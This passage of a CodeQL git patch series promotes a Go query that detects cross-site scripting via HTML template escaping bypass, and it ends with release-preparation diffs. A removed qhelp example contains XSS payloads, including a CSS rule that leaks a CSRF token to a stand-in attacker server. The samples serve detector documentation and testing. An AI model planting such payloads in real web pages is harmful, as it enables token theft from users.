byte, v interface{}) (err error) { +func unmarshal(data []byte, payloadType byte, v any) (err error) { return nil } @@ -30,7 +30,7 @@ func xss(w http.ResponseWriter, r *http.Request) { var xnet = make([]byte, 512) // $ Source[go/reflected-xss] ws.Read(xnet) fmt.Fprintf(w, "%v", xnet) // $ Alert[go/reflected-xss] - codec := &websocket.Codec{marshal, unmarshal} + codec := &websocket.Codec{Marshal: marshal, Unmarshal: unmarshal} xnet2 := make([]byte, 512) // $ Source[go/reflected-xss] codec.Receive(ws, xnet2) fmt.Fprintf(w, "%v", xnet2) // $ Alert[go/reflected-xss] From 3b934b8898294c0fbe9c34ab55270c70abc10abe Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 13:58:11 +0100 Subject: [PATCH 14/36] Add comment on importance of `Function.getACall()` --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index e8a4202a98f..3f7c89e720a 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -25,6 +25,11 @@ class UnescapedType extends Type { /** * Holds if the sink is a data value argument of a template execution call. + * + * Note that this is slightly more general than + * `SharedXss::HtmlTemplateSanitizer` because it uses `Function.getACall()`, + * which finds calls through interfaces which the receiver implements. This + * finds more results in practice. */ predicate isSinkToTemplateExec(DataFlow::Node sink) { exists(Method fn, string methodName, DataFlow::CallNode call | From 38dcc1cb843b8dd23a86780f5165a42316d66b6a Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 17:19:31 +0100 Subject: [PATCH 15/36] Fix QLDoc --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index 3f7c89e720a..dd67df44fe6 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -52,7 +52,8 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon TConverted(UnescapedType unescapedType) /** - * Flow state for tracking whether a conversion to an unescaped type has occurred. + * The flow state for tracking whether a conversion to an unescaped type has + * occurred. */ class FlowState extends TConversionState { predicate isBeforeConversion() { this instanceof TUnconverted } From f8791861c70ec02622e7b30b07cd5f10547506e4 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 17:18:53 +0100 Subject: [PATCH 16/36] Add missing metadata --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 2 ++ 1 file changed, 2 insertions(+) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index dd67df44fe6..6dc0f702841 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -5,6 +5,8 @@ * scripting vulnerability. * @kind path-problem * @problem.severity error + * @security-severity 6.1 + * @precision high * @id go/html-template-escaping-bypass-xss * @tags security * external/cwe/cwe-079 From 6e3b959f6110f29a691e3dae583f2bb98283ea85 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Wed, 30 Apr 2025 14:15:14 +0100 Subject: [PATCH 17/36] Reword qhelp slightly --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp index 50659b0ba3e..2a0d27304c9 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp @@ -8,7 +8,7 @@ that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go through.

-

Using them on user-provided values will result in an opportunity for XSS.

+

Using them on user-provided values allows for a cross-site scripting vulnerability.

From 00cc430ac3a41d6cb2c1eb0f7f93d77340c8cd21 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 1 May 2025 15:50:50 +0100 Subject: [PATCH 18/36] Make examples in qhelp shorter and more realistic --- .../HtmlTemplateEscapingBypassXssBad.go | 69 ++----------------- .../HtmlTemplateEscapingBypassXssGood.go | 14 ++-- 2 files changed, 12 insertions(+), 71 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go index a23dfa153de..d9bd46a6b9d 100755 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go @@ -2,69 +2,12 @@ package main import ( "html/template" - "os" + "net/http" ) -func main() {} -func source(s string) string { - return s -} - -type HTMLAlias = template.HTML - -func checkError(err error) { - if err != nil { - panic(err) - } -} - -// bad is an example of a bad implementation -func bad() { - tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) - tmplTag, _ := template.New("test").Parse(`Hi \n`) - tmplScript, _ := template.New("test").Parse(``) - tmplSrcset, _ := template.New("test").Parse(``) - - { - { - var a = template.HTML(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - { - var a template.HTML - a = template.HTML(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - var a HTMLAlias - a = HTMLAlias(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - } - } - { - var c = template.HTMLAttr(source(`href="https://example.com"`)) - checkError(tmplTag.Execute(os.Stdout, c)) - } - { - var d = template.JS(source("alert({hello: 'world'})")) - checkError(tmplScript.Execute(os.Stdout, d)) - } - { - var e = template.JSStr(source("setTimeout('alert()')")) - checkError(tmplScript.Execute(os.Stdout, e)) - } - { - var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) - checkError(tmpl.Execute(os.Stdout, b)) - } - { - var f = template.Srcset(source(`evil.jpg 320w`)) - checkError(tmplSrcset.Execute(os.Stdout, f)) - } - { - var g = template.URL(source("javascript:alert(1)")) - checkError(tmpl.Execute(os.Stdout, g)) - } +func bad(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`Hi {{.}}`) + tmpl.Execute(w, template.HTML(username)) } diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go index 3c0a8ad4eb4..8460f00ba1d 100755 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go @@ -2,14 +2,12 @@ package main import ( "html/template" - "os" + "net/http" ) -// good is an example of a good implementation -func good() { - tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) - { // This will be escaped: - var escaped = source(`link`) - checkError(tmpl.Execute(os.Stdout, escaped)) - } +func good(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`Hi {{.}}`) + tmpl.Execute(w, username) } From 8283d30d941344abc64297a0abb48e2fbf31192c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 1 May 2025 15:51:03 +0100 Subject: [PATCH 19/36] Avoid deprecated function in qhelp examples in same folder --- go/ql/src/Security/CWE-079/StoredXss.go | 4 ++-- go/ql/src/Security/CWE-079/StoredXssGood.go | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/go/ql/src/Security/CWE-079/StoredXss.go b/go/ql/src/Security/CWE-079/StoredXss.go index 008b738f4ca..192774f0307 100644 --- a/go/ql/src/Security/CWE-079/StoredXss.go +++ b/go/ql/src/Security/CWE-079/StoredXss.go @@ -2,12 +2,12 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, file.Name()+"\n") diff --git a/go/ql/src/Security/CWE-079/StoredXssGood.go b/go/ql/src/Security/CWE-079/StoredXssGood.go index d73a205ff3f..a7843e1cfe5 100644 --- a/go/ql/src/Security/CWE-079/StoredXssGood.go +++ b/go/ql/src/Security/CWE-079/StoredXssGood.go @@ -3,12 +3,12 @@ package main import ( "html" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") From bef38a4dcefcb25e3265470ea4b6a243be891786 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 1 May 2025 16:04:47 +0100 Subject: [PATCH 20/36] Add change note --- .../2025-05-01-html-template-escaping-bypass-xss.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md diff --git a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md new file mode 100644 index 00000000000..ab02478bf4a --- /dev/null +++ b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md @@ -0,0 +1,4 @@ +--- +category: newQuery +--- +* A new query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . From 9ba47eb65536bb723eea5ab73af3d9e2212b233f Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 1 May 2025 21:51:12 +0100 Subject: [PATCH 21/36] Update query suite inclusion integration tests --- .../integration-tests/query-suite/go-code-scanning.qls.expected | 1 + .../query-suite/go-security-and-quality.qls.expected | 1 + .../query-suite/go-security-extended.qls.expected | 1 + go/ql/integration-tests/query-suite/not_included_in_qls.expected | 1 - 4 files changed, 3 insertions(+), 1 deletion(-) diff --git a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected index 609e21e82ec..20fcacbc389 100644 --- a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected +++ b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected index 46f21d921ef..7ff321d24ab 100644 --- a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected @@ -30,6 +30,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected index a206ef2364a..3506e1020dd 100644 --- a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/not_included_in_qls.expected b/go/ql/integration-tests/query-suite/not_included_in_qls.expected index 751c76041a2..ac2e3cb4c3a 100644 --- a/go/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/go/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -20,7 +20,6 @@ ql/go/ql/src/experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql ql/go/ql/src/experimental/CWE-525/WebCacheDeception.ql ql/go/ql/src/experimental/CWE-74/DsnInjection.ql ql/go/ql/src/experimental/CWE-74/DsnInjectionLocal.ql -ql/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql ql/go/ql/src/experimental/CWE-807/SensitiveConditionBypass.ql ql/go/ql/src/experimental/CWE-840/ConditionalBypass.ql ql/go/ql/src/experimental/CWE-918/SSRF.ql From c933ab4ae225c674f273cdb1cc463cfa918f7438 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <62447351+owen-mc@users.noreply.github.com> Date: Mon, 12 May 2025 16:24:56 -0400 Subject: [PATCH 22/36] Apply suggestions from code review Co-authored-by: Chris Smowton --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 2 +- .../2025-05-01-html-template-escaping-bypass-xss.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index 6dc0f702841..0618c8e8888 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -1,5 +1,5 @@ /** - * @name HTML template escaping bypass cross-site scripting + * @name Cross-site scripting via HTML template escaping bypass * @description Converting user input to a special type that avoids escaping * when fed into an HTML template allows for a cross-site * scripting vulnerability. diff --git a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md index ab02478bf4a..dc86e5b869d 100644 --- a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md +++ b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md @@ -1,4 +1,4 @@ --- category: newQuery --- -* A new query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . +* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . From bfb91e95e360bd931996e53f9eb25eddd403a99d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 27 May 2025 17:22:05 +0000 Subject: [PATCH 23/36] Release preparation for version 2.21.4 --- actions/ql/lib/CHANGELOG.md | 4 ++++ .../ql/lib/change-notes/released/0.4.10.md | 3 +++ actions/ql/lib/codeql-pack.release.yml | 2 +- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/CHANGELOG.md | 6 +++++ .../0.6.2.md} | 7 +++--- actions/ql/src/codeql-pack.release.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/CHANGELOG.md | 24 +++++++++++++++++++ .../2025-05-15-class-aggregate-literals.md | 4 ---- .../2025-05-16-array-aggregate-literals.md | 4 ---- .../change-notes/2025-05-16-wmain-support.md | 4 ---- ...25-05-18-2025-May-outdated-deprecations.md | 9 ------- .../2025-05-23-windows-sources.md | 6 ----- .../2025-05-27-windows-sources-2.md | 4 ---- cpp/ql/lib/change-notes/released/5.0.0.md | 23 ++++++++++++++++++ cpp/ql/lib/codeql-pack.release.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/CHANGELOG.md | 6 +++++ .../1.4.1.md} | 9 +++---- cpp/ql/src/codeql-pack.release.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- .../ql/campaigns/Solorigate/lib/CHANGELOG.md | 4 ++++ .../lib/change-notes/released/1.7.41.md | 3 +++ .../Solorigate/lib/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- .../ql/campaigns/Solorigate/src/CHANGELOG.md | 4 ++++ .../src/change-notes/released/1.7.41.md | 3 +++ .../Solorigate/src/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/CHANGELOG.md | 6 +++++ .../5.1.7.md} | 7 +++--- csharp/ql/lib/codeql-pack.release.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/CHANGELOG.md | 9 +++++++ .../2025-04-10-uncontrolled-format-string.md | 4 ---- .../2025-05-15-gethashcode-is-not-defined.md | 4 ---- .../2025-05-16-hardcoded-credentials.md | 4 ---- .../2025-05-22-missed-readonly-modifier.md | 4 ---- csharp/ql/src/change-notes/released/1.2.1.md | 8 +++++++ csharp/ql/src/codeql-pack.release.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/CHANGELOG.md | 4 ++++ .../change-notes/released/1.0.24.md | 3 +++ .../codeql-pack.release.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/CHANGELOG.md | 4 ++++ go/ql/lib/change-notes/released/4.2.6.md | 3 +++ go/ql/lib/codeql-pack.release.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/CHANGELOG.md | 6 +++++ .../1.2.1.md} | 7 +++--- go/ql/src/codeql-pack.release.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/CHANGELOG.md | 7 ++++++ ...2025-05-22-spring-request-mapping-value.md | 4 ---- .../7.3.0.md} | 8 ++++--- java/ql/lib/codeql-pack.release.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/CHANGELOG.md | 6 +++++ .../1.5.1.md} | 7 +++--- java/ql/src/codeql-pack.release.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/CHANGELOG.md | 6 +++++ .../2.6.4.md} | 7 +++--- javascript/ql/lib/codeql-pack.release.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/CHANGELOG.md | 6 +++++ .../1.6.1.md} | 7 +++--- javascript/ql/src/codeql-pack.release.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/CHANGELOG.md | 4 ++++ .../change-notes/released/1.0.24.md | 3 +++ misc/suite-helpers/codeql-pack.release.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/CHANGELOG.md | 6 +++++ .../4.0.8.md} | 6 ++--- python/ql/lib/codeql-pack.release.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/CHANGELOG.md | 6 +++++ .../1.5.1.md} | 7 +++--- python/ql/src/codeql-pack.release.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/CHANGELOG.md | 12 ++++++++++ ...5-13-captured-variables-live-more-often.md | 4 ---- .../4.1.7.md} | 11 ++++++--- ruby/ql/lib/codeql-pack.release.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/CHANGELOG.md | 6 +++++ .../1.3.1.md} | 7 +++--- ruby/ql/src/codeql-pack.release.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/CHANGELOG.md | 4 ++++ rust/ql/lib/change-notes/released/0.1.9.md | 3 +++ rust/ql/lib/codeql-pack.release.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/CHANGELOG.md | 4 ++++ rust/ql/src/change-notes/released/0.1.9.md | 3 +++ rust/ql/src/codeql-pack.release.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/CHANGELOG.md | 4 ++++ .../change-notes/released/2.0.8.md | 3 +++ shared/controlflow/codeql-pack.release.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/CHANGELOG.md | 4 ++++ .../dataflow/change-notes/released/2.0.8.md | 3 +++ shared/dataflow/codeql-pack.release.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/CHANGELOG.md | 4 ++++ shared/mad/change-notes/released/1.0.24.md | 3 +++ shared/mad/codeql-pack.release.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/quantum/CHANGELOG.md | 4 ++++ shared/quantum/change-notes/released/0.0.2.md | 3 +++ shared/quantum/codeql-pack.release.yml | 2 +- shared/quantum/qlpack.yml | 2 +- shared/rangeanalysis/CHANGELOG.md | 4 ++++ .../change-notes/released/1.0.24.md | 3 +++ shared/rangeanalysis/codeql-pack.release.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/CHANGELOG.md | 4 ++++ shared/regex/change-notes/released/1.0.24.md | 3 +++ shared/regex/codeql-pack.release.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/CHANGELOG.md | 6 +++++ .../2.0.0.md} | 7 +++--- shared/ssa/codeql-pack.release.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/CHANGELOG.md | 4 ++++ .../change-notes/released/1.0.24.md | 3 +++ shared/threat-models/codeql-pack.release.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/CHANGELOG.md | 4 ++++ .../tutorial/change-notes/released/1.0.24.md | 3 +++ shared/tutorial/codeql-pack.release.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/CHANGELOG.md | 4 ++++ .../typeflow/change-notes/released/1.0.24.md | 3 +++ shared/typeflow/codeql-pack.release.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/CHANGELOG.md | 4 ++++ .../change-notes/released/0.0.5.md | 3 +++ shared/typeinference/codeql-pack.release.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/CHANGELOG.md | 4 ++++ .../change-notes/released/2.0.8.md | 3 +++ shared/typetracking/codeql-pack.release.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/CHANGELOG.md | 4 ++++ shared/typos/change-notes/released/1.0.24.md | 3 +++ shared/typos/codeql-pack.release.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/CHANGELOG.md | 4 ++++ shared/util/change-notes/released/2.0.11.md | 3 +++ shared/util/codeql-pack.release.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/CHANGELOG.md | 4 ++++ shared/xml/change-notes/released/1.0.24.md | 3 +++ shared/xml/codeql-pack.release.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/CHANGELOG.md | 4 ++++ shared/yaml/change-notes/released/1.0.24.md | 3 +++ shared/yaml/codeql-pack.release.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/CHANGELOG.md | 17 +++++++++++++ .../2025-05-14-type_value_expr_cfg.md | 4 ---- .../change-notes/2025-05-27-swift.6.1.1.md | 5 ---- .../5.0.0.md} | 12 +++++++--- swift/ql/lib/codeql-pack.release.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/CHANGELOG.md | 6 +++++ .../1.1.4.md} | 7 +++--- swift/ql/src/codeql-pack.release.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 174 files changed, 483 insertions(+), 190 deletions(-) create mode 100644 actions/ql/lib/change-notes/released/0.4.10.md rename actions/ql/src/change-notes/{2025-05-14-minimal-permission-for-add-to-project.md => released/0.6.2.md} (84%) delete mode 100644 cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-16-wmain-support.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-23-windows-sources.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md create mode 100644 cpp/ql/lib/change-notes/released/5.0.0.md rename cpp/ql/src/change-notes/{2025-05-14-openssl-sqlite-models.md => released/1.4.1.md} (65%) create mode 100644 csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md create mode 100644 csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md rename csharp/ql/lib/change-notes/{2025-05-14-dotnet-models.md => released/5.1.7.md} (78%) delete mode 100644 csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md delete mode 100644 csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md delete mode 100644 csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md delete mode 100644 csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md create mode 100644 csharp/ql/src/change-notes/released/1.2.1.md create mode 100644 go/ql/consistency-queries/change-notes/released/1.0.24.md create mode 100644 go/ql/lib/change-notes/released/4.2.6.md rename go/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.2.1.md} (64%) delete mode 100644 java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md rename java/ql/lib/change-notes/{2025-05-16-shared-basicblocks.md => released/7.3.0.md} (72%) rename java/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.5.1.md} (67%) rename javascript/ql/lib/change-notes/{2025-04-29-combined-es6-func.md => released/2.6.4.md} (73%) rename javascript/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.6.1.md} (73%) create mode 100644 misc/suite-helpers/change-notes/released/1.0.24.md rename python/ql/lib/change-notes/{2025-04-30-extract-hidden-files-by-default.md => released/4.0.8.md} (93%) rename python/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.5.1.md} (64%) delete mode 100644 ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md rename ruby/ql/lib/change-notes/{2025-05-02-ruby-printast-order-fix.md => released/4.1.7.md} (68%) rename ruby/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.3.1.md} (64%) create mode 100644 rust/ql/lib/change-notes/released/0.1.9.md create mode 100644 rust/ql/src/change-notes/released/0.1.9.md create mode 100644 shared/controlflow/change-notes/released/2.0.8.md create mode 100644 shared/dataflow/change-notes/released/2.0.8.md create mode 100644 shared/mad/change-notes/released/1.0.24.md create mode 100644 shared/quantum/change-notes/released/0.0.2.md create mode 100644 shared/rangeanalysis/change-notes/released/1.0.24.md create mode 100644 shared/regex/change-notes/released/1.0.24.md rename shared/ssa/change-notes/{2025-05-23-guards-interface.md => released/2.0.0.md} (87%) create mode 100644 shared/threat-models/change-notes/released/1.0.24.md create mode 100644 shared/tutorial/change-notes/released/1.0.24.md create mode 100644 shared/typeflow/change-notes/released/1.0.24.md create mode 100644 shared/typeinference/change-notes/released/0.0.5.md create mode 100644 shared/typetracking/change-notes/released/2.0.8.md create mode 100644 shared/typos/change-notes/released/1.0.24.md create mode 100644 shared/util/change-notes/released/2.0.11.md create mode 100644 shared/xml/change-notes/released/1.0.24.md create mode 100644 shared/yaml/change-notes/released/1.0.24.md delete mode 100644 swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md delete mode 100644 swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md rename swift/ql/lib/change-notes/{2025-05-18-2025-May-outdated-deprecations.md => released/5.0.0.md} (74%) rename swift/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.1.4.md} (71%) diff --git a/actions/ql/lib/CHANGELOG.md b/actions/ql/lib/CHANGELOG.md index 16262bfaa84..466440c3e33 100644 --- a/actions/ql/lib/CHANGELOG.md +++ b/actions/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.4.10 + +No user-facing changes. + ## 0.4.9 No user-facing changes. diff --git a/actions/ql/lib/change-notes/released/0.4.10.md b/actions/ql/lib/change-notes/released/0.4.10.md new file mode 100644 index 00000000000..9ae55e0ca34 --- /dev/null +++ b/actions/ql/lib/change-notes/released/0.4.10.md @@ -0,0 +1,3 @@ +## 0.4.10 + +No user-facing changes. diff --git a/actions/ql/lib/codeql-pack.release.yml b/actions/ql/lib/codeql-pack.release.yml index c898a5bfdcd..e0c0d3e4c2a 100644 --- a/actions/ql/lib/codeql-pack.release.yml +++ 